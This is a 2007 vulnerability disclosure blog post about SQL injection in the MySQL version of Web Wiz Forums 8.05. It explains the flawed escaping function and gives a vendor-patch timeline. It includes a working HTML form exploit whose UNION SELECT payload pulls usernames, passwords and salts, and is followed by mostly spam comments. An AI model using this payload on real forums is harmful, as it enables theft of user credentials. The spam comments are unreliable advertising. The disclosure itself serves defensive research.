Tuesday, March 20, 2007

Web Wiz Forums 8.05 (MySQL version) SQL Injection

There is a vulnerability in MySQL version of Web Wiz Forums, free ASP bulletin board system software, enabling SQL injection. The vulnerability is in the code used to filter string parameters prior to including them in the SQL queries:

'Format SQL Query funtion
Private Function formatSQLInput(ByVal strInputEntry)
'Remove malisous charcters from sql
strInputEntry = Replace(strInputEntry, "\'", "\'", 1, -1, 1)
strInputEntry = Replace(strInputEntry, """", "", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "'", "''", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "[", "[", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "]", "]", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "<", "&lt;", 1, -1, 1)
strInputEntry = Replace(strInputEntry, ">", "&gt;", 1, -1, 1)
'Return
formatSQLInput = strInputEntry
End Function


Assume the user enters a string containing the following sequence of characters: \"' (a backslash, followed by a double quote followed by a single quote). The first line inside the function above would do nothing, the second line would remove the double quote, and after the third line the sequence would look like \'' (a backslash followed by two single quotes). In MySQL the first two characters would be interpreted as an escaped single quote and the third character would terminate the quotes thus allowing injection of arbitrary SQL code placed after it.

Only the MySQL version of the Web Wiz Forums is vulnerable to this as SQL Server and MS Access don't use backslash as an escape character.

Below I include a small exploit that demonstrates this vulnerability.

Mar 19th 2007: Vulnerability discovered
Mar 20th 2007: Vendor contacted
Mar 20th 2007: Vendor responded
Mar 20th 2007: Vendor released fixed version (8.05a)

<form method="post" action="http://localhost/forum/pop_up_member_search.asp?">
<input type="hidden" name="name" id="name" value="\&quot;&#039; union select concat(userusernamename,char(58),passpasswordword,char(58),sasaltlt) from tblautauthorhor /*" >
<input type="submit" value="Go">
</form>

15 comments:

Anonymous said...

It seems vendor did well once. Fast contact and fast patch -even patch was simply to make-. Good job.

aliyaa said...

As we know that wordpress is used by million of people ao we have to made it superb for people. The wordpress two factor authentication is also one of the reason of it's successful use.

Bajrangi yoga said...

thanks for sharing this information
100 Hour Yoga TTC in Rishikesh
100 Hour Yoga Teacher Training in Rishikesh
100 Hour Yoga Teacher Training Course in Rishikesh

John Richards said...

Click here
Click Here
Click Here
Click Here
Click Here

THE EXPERTIZE said...

Ohh its a great content , I appreciate the efforts taken by the content writter. It will help many people in understanding. We are a Training company based inn Lucknow providing some courses which are listed below:

Data Analytics Training in Luknow
MIS Training in Lucknow
Advance Excel Training in Lucknow
Digital Marketing Training in Lucknow
HR Training in Lucknow
Corporate Training in Luknow
We have highly professional and dedicated trainers who have years of experience in providing training and guidance

Unknown said...

Read more here
Read more here
Read more here
Read more here
Read more here
Read more here
Read more here
Read more here
Read more here
Read more here

Yoga Classes in Enoggera said...

wordpress web design

Wordpress Website Design - If you are looking at the wordpress developer, then we are the best wordpress developer. we provide the best wordpress web design service.


to get more - https://webdesignbymatt.com/product/wordpress-website/

Obiyan Infotech said...
This comment has been removed by the author.
Obiyan Infotech said...

Obiyan Infotech is a Digital Marketing Agency in Delhi which offers various Digital Marketing Services like SEO, SMM, PPC, Web Designing & Development, Content Marketing, E-Commerce Development and many more at minimal costs.

For more information, visit Obiyan Infotech
You can also contact us at +91 7044444433

Equinox IT solutions said...

Nice blog.
We are the best Wordpress Development Company

Equinox IT Solutions

etoileinfosolution said...

A reputed as well as a popular Ecommerce Website Designing Company Arizona can provide you with lots of for the prosperity of your business. These websites design smart websites that have the potential to generate profits for your business. These website designing companies will always strive to create strategic websites for your business, which utilizes and, at the same time, gathers the critical elements required to build a typical result-oriented site. 

Netmatic technologies said...

Great blog!!
Best Mobile app development company in Canada-Netmatic Technologies

Looking for the best mobile app development company? Our services and business solutions are strengthened by alliances with the leading technology team in Brampton, Canada.Read more..

Renu Yadav said...

RTPCR Test Delhi
Painfree provided you RTPCR Test In Delhi NCR. So if you are involved in this approach covid-19 with trained pathologist doctors & staff. We provide you service for your RTPCR test everywhere in Delhi NCR. And the price of this test will be given to you in 950\ - and your report in 24 hours.

Gulshan said...

Handshake is a free digital business card and contact manager app that allows you to manage your contacts, manage your business cards, and grow your network.
 Make E - Business Card - Turn Meetings Into Leads

Alltvsong gaane said...

mahamukti yoga school

Trendnut.com
Hitechsky.com
Lyricsmust.com
Yatharva.com